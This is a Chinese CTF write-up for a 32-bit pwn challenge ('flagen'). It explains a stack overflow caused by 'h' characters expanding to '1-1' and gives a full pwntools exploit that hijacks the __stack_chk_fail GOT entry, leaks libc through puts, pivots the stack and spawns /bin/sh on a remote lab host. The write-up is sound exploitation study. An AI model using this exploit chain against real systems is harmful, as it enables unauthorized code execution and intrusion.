(绕过canary类型题目)
文件链接:https://pan.baidu.com/s/17pIc0RrfLRH9arMbJmJGjA
提取码:4olb
1.pwn环境搭建,查看保护机制,运行ida*32远程调试文件



2.ida*32打开程序分析:


7个case,分别为上面图片的描述功能。
出现漏洞的地方在选项4

将选项1读入的flag,传入到选项4的sub_80488C6函数中,flag中只要含有h或者H字符就会变成三个字符-> "1-1" ,可以利用这个进行栈溢出。然后函数结尾还有strcpy,将变换后的src字符串,拷贝到dest指向的内存位置。然后由于栈溢出覆盖了canary,所以函数最后会触发stack_chk_fail函数。
可以利用栈溢出,strcpy,和出发的stack_chk_fail函数,以及搜集的ROPgadget,进行getshell
3.信息搜集:




from pwn import *
context.binary = './flagen'
file_elf = ELF('./flagen')
libc_elf = ELF('libc.so.6')
puts_add = file_elf.symbols['puts']
puts_got = file_elf.got['puts']
stack_chk_fail_got = file_elf.got['__stack_chk_fail']
libc_system_add = libc_elf.symbols['system']
libc_gets_add = libc_elf.symbols['gets']
libc_puts_add = libc_elf.symbols['puts']
ret_add = 0x0804846a
buf1 = 0x0804b6c0
buf2 = 0x0804b7c0
#可写的地址最后两位十六进制不要是00!
pop_ebx_ret = 0x08048481
leave_ret = 0x080485d8
readn_add = 0x080486cb
link = remote("192.168.93.137","6666")
payload = p32(ret_add) + 'h' * 88 #长为4+88*3=268=0x10c
payload += p32(buf1)
payload += p32(pop_ebx_ret)
payload += p32(stack_chk_fail_got)
payload += p32(puts_add)
payload += p32(pop_ebx_ret)
payload += p32(puts_got)
payload += p32(readn_add)
payload += 'A' * 0x4
payload += p32(buf1+4)
payload += p32(0x23333333)
#若泄露地址后,无法返回到一个含有栈溢出的地址
#可以考虑构造读入函数以及ROGgadget,来转移栈执行其他函数
link.recvuntil("choice: ")
link.sendline('1')
link.sendline(payload)
link.recvuntil("choice: ")
link.sendline('4')
leak_puts_add = u32(link.recv(4)) #将打印的puts的got 的四个字节u32
py_add = leak_puts_add - libc_puts_add
system_add = libc_system_add + py_add
gets_add = libc_gets_add + py_add
payload2 = p32(gets_add) + p32(system_add) + p32(buf2) + p32(buf2)
link.send(payload2)
link.send('/bin/sh\x00')
link.interactive()
exp大致流程:
1.先进入1选项,输入flag,
2.然后进入4选项, 将输入的flag中的h变成1-1字符串,造成溢出,
3.在4选项进入的函数结尾处,strcpy,将ebp+8位置指向堆的指针地址,存到dest,
将 从输入的flag中变化后的字符串 的起始地址传到src处,
将src处字符串拷贝到dest处
由于 可以将h字符变长造成栈溢出,所以可以覆盖ebp+8位置的地址,
覆盖为stack_chk_fail的got地址。
然后strcpy将src处的字符串拷贝到stack_chk_fail的got地址处。
4.到函数最后,检查canary值,发现不正确,就调用stack_chk_fail函数(retn指令)
此时的esp指向是stack_chk_fail的got地址,执行完retn指令后,
就是函数最后的leave;retn(mov esp,ebp;pop ebp;pop eip)指令,执行完之后,
ebp=buf(一个可写的地址),esp指向ret(pop ebx;rent),然后执行pust函数
输出read函数的got值,并且返回到readn函数的起始位置,向一个buf+4的地址写入数据
(gets+system+buf2+buf2) buf2->(一个可写的地址)
执行完readn函数后,
esp指向(leave;ret)指令。然后开始执行。
执行完 leave 后,esp指向buf+4位置,ebp为buf位置的值,
执行完retn后,eip指向buf+4位置的地址;
即:gets函数,在buf2处写入字符串/bin/sh\x00,
然后调用system函数,传入/bin/sh\x00
进行getshell
